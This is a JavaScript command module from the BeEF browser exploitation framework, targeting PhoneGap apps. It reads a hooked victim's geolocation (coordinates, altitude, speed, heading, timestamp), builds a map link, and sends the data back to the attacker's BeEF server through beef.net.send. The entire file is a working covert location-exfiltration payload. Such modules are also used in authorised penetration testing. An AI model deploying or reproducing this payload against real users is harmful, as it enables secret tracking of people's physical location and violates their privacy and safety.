Files
beef/modules/phonegap/geo_locate/command.js
2011-12-21 21:22:38 +13:00

31 lines
1.2 KiB
JavaScript

//
// geo locate
//
beef.execute(function() {
var onSuccess = function(position) {
result =
'Latitude: ' + position.coords.latitude + '\n' +
'Longitude: ' + position.coords.longitude + '\n' +
'Altitude: ' + position.coords.altitude + '\n' +
'Accuracy: ' + position.coords.accuracy + '\n' +
'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' +
'Heading: ' + position.coords.heading + '\n' +
'Speed: ' + position.coords.speed + '\n' +
'Timestamp: ' + new Date(position.timestamp) + '\n' ;
map = 'Map url: http://maps.google.com/?ll='+
position.coords.latitude + ',' + position.coords.longitude;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result+map );
};
// onError Callback receives a PositionError object
//
function onError(error) {
console.log('code: ' + error.code + '\n' +
'message: ' + error.message + '\n');
}
navigator.geolocation.getCurrentPosition(onSuccess, onError);
});